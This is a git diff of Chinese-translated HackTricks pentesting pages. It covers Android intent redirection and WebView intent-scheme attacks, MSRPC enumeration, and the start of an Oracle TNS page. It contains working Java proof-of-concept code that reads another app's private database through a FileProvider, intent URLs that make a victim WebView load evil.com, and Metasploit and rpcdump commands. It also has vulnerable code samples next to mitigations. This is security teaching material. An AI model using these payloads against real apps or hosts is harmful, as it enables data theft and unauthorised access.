<cache-path name="cache" path=""/>
|
||||
<external-path name="external_files" path="images"/>
|
||||
</paths>
|
||||
```
|
||||
```markdown
|
||||
每个标签指定一个相对于根目录的 `path` 值。例如,值 `external_files` 将对应于 `new File(Environment.getExternalStorageDirectory(), "images")`
|
||||
|
||||
值 `root-path` 对应于 `/`,即提供对任意文件的访问。
|
||||
|
||||
假设我们在文件 `/data/data/com.victim/databases/secret.db` 中存储了一些秘密数据:窃取这个文件的行为可能看起来像这样 `MainActivity.java`
|
||||
```
|
||||
```java
|
||||
Intent extra = new Intent();
|
||||
extra.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
|
||||
extra.setClassName(getPackageName(), "com.attacker.LeakActivity");
|
||||
extra.setData(Uri.parse("content://com.victim.files_provider/root/data/data/com.victim/databases/secret.db"));
|
||||
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.ProxyActivity");
|
||||
intent.putExtra("extra_intent", extra);
|
||||
startActivity(intent);
|
||||
```
|
||||
`LeakActivity.java`
|
||||
```java
|
||||
InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server
|
||||
```
|
||||
## 通过 WebView 访问任意组件
|
||||
|
||||
Intent 对象可以通过调用 `Intent.toUri(flags)` 转换为字符串,并且可以使用 `Intent.parseUri(stringUri, flags)` 从字符串转换回 Intent。这个功能经常用在 WebView(应用内置的浏览器)中:**应用可以验证 `intent://` 方案,解析 URL 成一个 Intent 并启动活动**。
|
||||
|
||||
**这个漏洞可以通过其他漏洞利用**(例如,能够在应用内的 WebView 中直接通过导出的活动打开任意链接,或者通过深度链接机制)在客户端应用中,也可以远程利用,包括服务器端的跨站脚本攻击或客户端的中间人攻击。
|
||||
|
||||
示例代码存在漏洞
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
startActivity(Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME));
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
```markdown
|
||||
这里的关键是,每次WebView尝试加载新链接时,都会调用`WebViewClient`类的`shouldOverrideUrlLoading(...)`方法,但这给了应用程序添加自定义处理程序的选项。
|
||||
|
||||
为了利用这个漏洞,攻击者需要创建一个WebView重定向到一个特别准备的intent-scheme URL。创建URL的例子
|
||||
```
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setClassName("com.victim", "com.victim.AuthWebViewActivity");
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // outputs "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end"
|
||||
```
|
||||
示例攻击
|
||||
```java
|
||||
location.href = "intent:#Intent;component=com.victim/.AuthWebViewActivity;S.url=http%3A%2F%2Fevil.com%2F;end";
|
||||
```
|
||||
此版本与经典版本的漏洞相比有**若干限制**:
|
||||
|
||||
* 嵌入的 `Parcelable` 和 `Serializable` 对象不能转换为字符串(它们将被忽略)
|
||||
* 当调用 `Intent.parseUri(...)` 时,不安全的标志 `Intent.FLAG_GRANT_READ_URI_PERMISSION` 和 `Intent.FLAG_GRANT_WRITE_URI_PERMISSION` 将被**忽略**。解析器只有在设置了 `Intent.URI_ALLOW_UNSAFE`(`startActivity(Intent.parseUri(url, Intent.URI_INTENT_SCHEME | Intent.URI_ALLOW_UNSAFE))`)标志时才会保留它们,这种情况非常罕见
|
||||
|
||||
许多开发者仍然忘记对通过 WebView 收到的 intents 进行完整过滤。
|
||||
```java
|
||||
public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) {
|
||||
Uri uri = request.getUrl();
|
||||
if("intent".equals(uri.getScheme())) {
|
||||
Intent intent = Intent.parseUri(uri.toString(), Intent.URI_INTENT_SCHEME);
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
startActivity(intent);
|
||||
return true;
|
||||
}
|
||||
return super.shouldOverrideUrlLoading(view, request);
|
||||
}
|
||||
```
|
||||
攻击者可以通过选择器指定一个非导出组件
|
||||
```java
|
||||
Intent intent = new Intent();
|
||||
intent.setSelector(new Intent().setClassName("com.victim", "com.victim.AuthWebViewActivity"));
|
||||
intent.putExtra("url", "http://evil.com/");
|
||||
Log.d("evil", intent.toUri(Intent.URI_INTENT_SCHEME)); // "intent:#Intent;S.url=http%3A%2F%2Fevil.com%2F;SEL;component=com.victim/.AuthWebViewActivity;end"
|
||||
```
|
||||
并绕过应用程序对显式意图的保护。因此,我们还建议过滤选择器。
|
||||
```java
|
||||
intent.addCategory("android.intent.category.BROWSABLE");
|
||||
intent.setComponent(null);
|
||||
intent.setSelector(null);
|
||||
```
|
||||
```markdown
|
||||
但即使进行了完整的过滤,也不能保证完全的保护,因为攻击者可以创建一个与某个非导出活动的 `intent-filter` 相对应的隐式意图。活动声明的示例:
|
||||
```
|
||||
```markup
|
||||
<activity android:name=".AuthWebViewActivity" android:exported="false">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<data android:scheme="victim" android:host="secure_handler" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
|
||||
```java
|
||||
webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders());
|
||||
```
|
||||
我们因此建议在启动活动之前检查它是否已导出。
|
||||
|
||||
## 创建不安全意图的其他方法
|
||||
|
||||
一些应用开发者实现了他们**自己的意图解析器**(通常用于处理**深链接**或推送消息),使用例如**JSON**对象、字符串或字节数组,这些要么与默认设置无异,要么存在很大的危险,因为它们可能扩展**`Serializable`** 和 `Parcelable` 对象,并且它们也允许设置不安全的标志。安全研究员也可能遇到更多奇特的意图创建方式,例如将字节数组转换为 `Parcel`,然后从中读取一个意图。
|
||||
```java
|
||||
Uri deeplinkUri = getIntent().getData();
|
||||
if(deeplinkUri.toString().startsWith("deeplink://handle/")) {
|
||||
byte[] handle = Base64.decode(deeplinkUri.getQueryParameter("param"), 0);
|
||||
Parcel parcel = Parcel.obtain();
|
||||
parcel.unmarshall(handle, 0, handle.length);
|
||||
startActivity((Intent) parcel.readParcelable(getClassLoader()));
|
||||
}
|
||||
```
|
||||
# 易受攻击的应用程序
|
||||
|
||||
{% embed url="https://github.com/oversecured/ovaa" %}
|
||||
**查看:[https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/)**
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直到成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,72 +1,59 @@
|
|||
# 135, 593 - MSRPC 渗透测试
|
||||
# 135, 593 - 渗透测试 MSRPC
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 HackTricks 的 PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof 是所有加密漏洞赏金的家园。**
|
||||
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**无需等待即可获得奖励**\
|
||||
HackenProof 的赏金只有在客户存入奖励预算后才会启动。在漏洞验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客的刺激和挑战的内容
|
||||
|
||||
**在 web3 渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在它崛起的日子里掌握 web3 安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为 web3 黑客传奇**\
|
||||
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
了解最新的赏金计划发布和重要平台更新
|
||||
|
||||
[**在 HackenProof 上注册**](https://hackenproof.com/register) 开始从您的黑客攻击中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
||||
## 基本信息
|
||||
|
||||
Microsoft 远程过程调用(Remote Procedure Call,RPC)也称为函数调用或子程序调用,是一种使用客户端-服务器模型的协议,允许一个程序向另一台计算机上的程序请求服务,而无需了解该计算机的网络细节。MSRPC 最初是从开源软件衍生而来,但已经得到了进一步的开发并由 Microsoft 版权所有。
|
||||
Microsoft 远程过程调用(MSRPC)协议是一个客户端-服务器模型,使程序能够从位于另一台计算机上的程序请求服务,而无需了解网络的具体细节。该协议最初源自开源软件,后来由 Microsoft 开发并拥有版权。
|
||||
|
||||
根据主机配置,RPC 端点映射器可以通过 TCP 和 UDP 端口 135 进行访问,通过空或经过身份验证的会话的 SMB(TCP 139 和 445),以及作为在 TCP 端口 593 上监听的 Web 服务。
|
||||
RPC 端点映射器可以通过 TCP 和 UDP 端口 135 访问,SMB 可以通过 TCP 139 和 445(使用空会话或经过身份验证的会话),以及作为 Web 服务通过 TCP 端口 593 访问。
|
||||
```
|
||||
135/tcp open msrpc Microsoft Windows RPC
|
||||
```
|
||||
## MSRPC是如何工作的?
|
||||
## MSRPC工作原理
|
||||
|
||||
[MSRPC过程始于客户端](https://technet.microsoft.com/en-us/library/cc738291.aspx),客户端应用程序调用本地存根过程而不是实现该过程的代码。客户端存根代码从客户端地址空间中检索所需参数,并将它们传递给客户端运行时库,然后将参数转换为标准的网络数据表示格式以传输到服务器。
|
||||
由客户端应用程序发起,MSRPC过程涉及调用本地存根过程,然后与客户端运行时库交互,准备并传输请求到服务器。这包括将参数转换为标准的网络数据表示格式。如果服务器是远程的,传输协议的选择由运行时库确定,确保RPC通过网络堆栈传递。
|
||||
|
||||
然后,客户端存根调用RPC客户端运行时库中的函数将请求和参数发送到服务器。如果服务器位于远程位置,运行时库会指定适当的传输协议和引擎,并将RPC传递给网络堆栈以进行传输到服务器。\
|
||||
来源:[https://www.extrahop.com/resources/protocols/msrpc/](https://www.extrahop.com/resources/protocols/msrpc/)
|
||||
|
||||
![](<../.gitbook/assets/image (133).png>)
|
||||
|
||||
**图片来自书籍《网络安全评估第三版》**
|
||||
![https://0xffsec.com/handbook/images/msrpc.png](https://0xffsec.com/handbook/images/msrpc.png)
|
||||
|
||||
## **识别暴露的RPC服务**
|
||||
|
||||
**从书籍《网络安全评估第三版》中提取的部分内容**
|
||||
|
||||
您可以查询RPC定位器服务和单个RPC端点,以记录在TCP、UDP、HTTP和SMB(通过命名管道)上运行的有趣服务。通过此过程收集的每个IFID值表示一个RPC服务(例如,5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc是Messenger接口)。
|
||||
|
||||
Todd Sabin的rpcdump和ifids Windows实用程序查询RPC定位器和特定的RPC端点以列出IFID值。rpcdump的语法如下:
|
||||
通过查询RPC定位器服务和各个端点,可以确定RPC服务在TCP、UDP、HTTP和SMB之间的暴露。诸如rpcdump之类的工具有助于识别独特的RPC服务,由**IFID**值表示,揭示服务详细信息和通信绑定:
|
||||
```
|
||||
D:\rpctools> rpcdump [-p port] 192.168.189.1
|
||||
IfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
D:\rpctools> rpcdump [-p port] <IP>
|
||||
**IFID**: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0
|
||||
Annotation: Messenger Service
|
||||
UUID: 00000000-0000-0000-0000-000000000000
|
||||
Binding: ncadg_ip_udp:192.168.189.1[1028]
|
||||
Binding: ncadg_ip_udp:<IP>[1028]
|
||||
```
|
||||
您可以通过使用四个协议序列访问RPC定位器服务:
|
||||
|
||||
* ncacn\_ip\_tcp和ncadg\_ip\_udp(TCP和UDP端口135)
|
||||
* ncacn\_np(通过SMB的\pipe\epmapper命名管道)
|
||||
* ncacn\_http(通过TCP端口80、593和其他端口的RPC over HTTP)
|
||||
访问RPC定位器服务通过特定协议启用:ncacn_ip_tcp 和 ncadg_ip_udp 用于通过端口 135 访问,ncacn_np 用于 SMB 连接,ncacn_http 用于基于 Web 的 RPC 通信。以下命令示例展示了利用 Metasploit 模块审计和与 MSRPC 服务交互,主要集中在端口 135 上:
|
||||
```bash
|
||||
use auxiliary/scanner/dcerpc/endpoint_mapper
|
||||
use auxiliary/scanner/dcerpc/hidden
|
||||
|
@ -74,63 +61,68 @@ use auxiliary/scanner/dcerpc/management
|
|||
use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
|
||||
rpcdump.py <IP> -p 135
|
||||
```
|
||||
_请注意,除了**`tcp_dcerpc_auditor`**之外,所有选项都**只能**针对**端口135**上的**msrpc**执行。_
|
||||
除了`tcp_dcerpc_auditor`之外,所有选项都是专门设计用于针对端口135上的MSRPC。
|
||||
|
||||
#### 显著的RPC接口
|
||||
|
||||
| **IFID值** | **命名管道** | **描述** |
|
||||
| ------------------------------------ | -------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| 12345778-1234-abcd-ef00-0123456789ab | \pipe\lsarpc | LSA接口,用于枚举用户 |
|
||||
| 3919286a-b10c-11d0-9ba8-00c04fd92ef5 | \pipe\lsarpc | LSA目录服务(DS)接口,用于枚举域和信任关系 |
|
||||
| 12345778-1234-abcd-ef00-0123456789ac | \pipe\samr | LSA SAMR接口,用于访问公共SAM数据库元素(例如用户名)并对用户密码进行暴力破解,而不受帐户锁定策略的限制[Oreilly library](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#idm139659172852688) |
|
||||
| 1ff70682-0a51-30e8-076d-740be8cee98b | \pipe\atsvc | 任务计划程序,用于远程执行命令 |
|
||||
| 338cd001-2244-31f1-aaaa-900038001003 | \pipe\winreg | 远程注册表服务,用于访问系统注册表 |
|
||||
| 367abb81-9844-35f1-ad32-98f038001003 | \pipe\svcctl | 服务控制管理器和服务器服务,用于远程启动和停止服务并执行命令 |
|
||||
| 4b324fc8-1670-01d3-1278-5a47bf6ee188 | \pipe\srvsvc | 服务控制管理器和服务器服务,用于远程启动和停止服务并执行命令 |
|
||||
| 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 | \pipe\epmapper | DCOM接口,支持WMI |
|
||||
**IFID**:12345778-1234-abcd-ef00-0123456789ab
|
||||
**命名管道**:\pipe\lsarpc
|
||||
**描述**:LSA接口,用于枚举用户。
|
||||
|
||||
**IFID**:3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
**命名管道**:\pipe\lsarpc
|
||||
**描述**:LSA目录服务(DS)接口,用于枚举域和信任关系。
|
||||
|
||||
**IFID**:12345778-1234-abcd-ef00-0123456789ac
|
||||
**命名管道**:\pipe\samr
|
||||
**描述**:LSA SAMR接口,用于访问公共SAM数据库元素(例如用户名)并无视账户锁定策略暴力破解用户密码。
|
||||
|
||||
**IFID**:1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
**命名管道**:\pipe\atsvc
|
||||
**描述**:任务计划程序,用于远程执行命令。
|
||||
|
||||
**IFID**:338cd001-2244-31f1-aaaa-900038001003
|
||||
**命名管道**:\pipe\winreg
|
||||
**描述**:远程注册表服务,用于访问和修改系统注册表。
|
||||
|
||||
**IFID**:367abb81-9844-35f1-ad32-98f038001003
|
||||
**命名管道**:\pipe\svcctl
|
||||
**描述**:服务控制管理器和服务器服务,用于远程启动和停止服务以及执行命令。
|
||||
|
||||
**IFID**:4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
**命名管道**:\pipe\srvsvc
|
||||
**描述**:服务控制管理器和服务器服务,用于远程启动和停止服务以及执行命令。
|
||||
|
||||
**IFID**:4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
**命名管道**:\pipe\epmapper
|
||||
**描述**:DCOM接口,用于通过WM进行暴力破解密码和信息收集。
|
||||
|
||||
### 识别IP地址
|
||||
|
||||
使用[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver),来自[Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/),可以滥用_IOXIDResolver_接口中的_ServerAlive2_方法。
|
||||
使用[https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver),来自[空中客车研究](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/),可以滥用_IOXIDResolver_接口内的_ServerAlive2_方法。
|
||||
|
||||
这种方法已被用于从HTB盒子_APT_获取**IPv6**地址的接口信息。请参阅[此处](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)以获取0xdf APT的写作,其中包括使用rpcmap.py从[Impacket](https://github.com/SecureAuthCorp/impacket/)和_stringbinding_的替代方法(见上文)。
|
||||
|
||||
参考资料:
|
||||
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
此方法已用于从HTB盒子_APT_获取**IPv6**地址的接口信息。查看[此处](https://0xdf.gitlab.io/2021/04/10/htb-apt.html)了解0xdf APT解析,其中包括使用[Impacket](https://github.com/SecureAuthCorp/impacket/)的rpcmap.py和_stringbinding_的替代方法(请参见上文)。
|
||||
|
||||
## 端口593
|
||||
|
||||
来自[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools)的**rpcdump.exe**可以与此端口进行交互。
|
||||
来自[rpctools](https://resources.oreilly.com/examples/9780596510305/tree/master/tools/rpctools)的**rpcdump.exe**可以与此端口交互。
|
||||
|
||||
|
||||
## 参考资料
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/)
|
||||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof是所有加密漏洞赏金的家园。**
|
||||
加入[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)服务器,与经验丰富的黑客和赏金猎人交流!
|
||||
|
||||
**即时获得奖励**\
|
||||
HackenProof的赏金只有在客户存入奖励预算后才会启动。在漏洞经过验证后,您将获得奖励。
|
||||
**黑客见解**\
|
||||
参与深入探讨黑客活动的刺激和挑战
|
||||
|
||||
**在web3渗透测试中积累经验**\
|
||||
区块链协议和智能合约是新的互联网!在其崛起之时掌握web3安全。
|
||||
**实时黑客新闻**\
|
||||
通过实时新闻和见解及时了解快节奏的黑客世界
|
||||
|
||||
**成为web3黑客传奇**\
|
||||
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
|
||||
**最新公告**\
|
||||
随时了解最新的赏金任务发布和重要平台更新
|
||||
|
||||
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
|
||||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
|
||||
|
|
|
@ -1,247 +1,46 @@
|
|||
# 1521,1522-1529 - Pentesting Oracle TNS Listener
|
||||
# 1521,1522-1529 - 渗透测试 Oracle TNS 监听器
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零到英雄学习AWS黑客攻击!</strong></summary>
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**以PDF格式下载HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注我** [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上**关注我。
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本信息
|
||||
|
||||
Oracle数据库(Oracle DB)是Oracle公司的关系数据库管理系统(RDBMS)(来自[这里](https://www.techopedia.com/definition/8711/oracle-database))。
|
||||
Oracle 数据库(Oracle DB)是来自 Oracle 公司的关系数据库管理系统(RDBMS)(来源[这里](https://www.techopedia.com/definition/8711/oracle-database))。
|
||||
|
||||
在枚举Oracle时,第一步是与通常位于默认端口(1521/TCP,-您也可能在1522-1529上获得次要监听器-)的TNS-Listener通信。
|
||||
在枚举 Oracle 时,第一步是与通常位于默认端口上的 TNS 监听器进行通信(1521/TCP,-您也可能在 1522–1529 上获得辅助监听器)。
|
||||
```
|
||||
1521/tcp open oracle-tns Oracle TNS Listener 9.2.0.1.0 (for 32-bit Windows)
|
||||
1748/tcp open oracle-tns Oracle TNS Listener
|
||||
```
|
||||
## 概要
|
||||
## 摘要
|
||||
|
||||
1. **枚举版本**信息(搜索**已知漏洞**)
|
||||
2. **暴力破解TNS监听器**通信(并非总是需要)
|
||||
3. **枚举**/暴力破解**SID名称**(如数据库名称)
|
||||
4. 对发现的有效SID名称**暴力破解凭证**
|
||||
5. 尝试**执行代码**
|
||||
1. **版本枚举**:识别版本信息以搜索已知漏洞。
|
||||
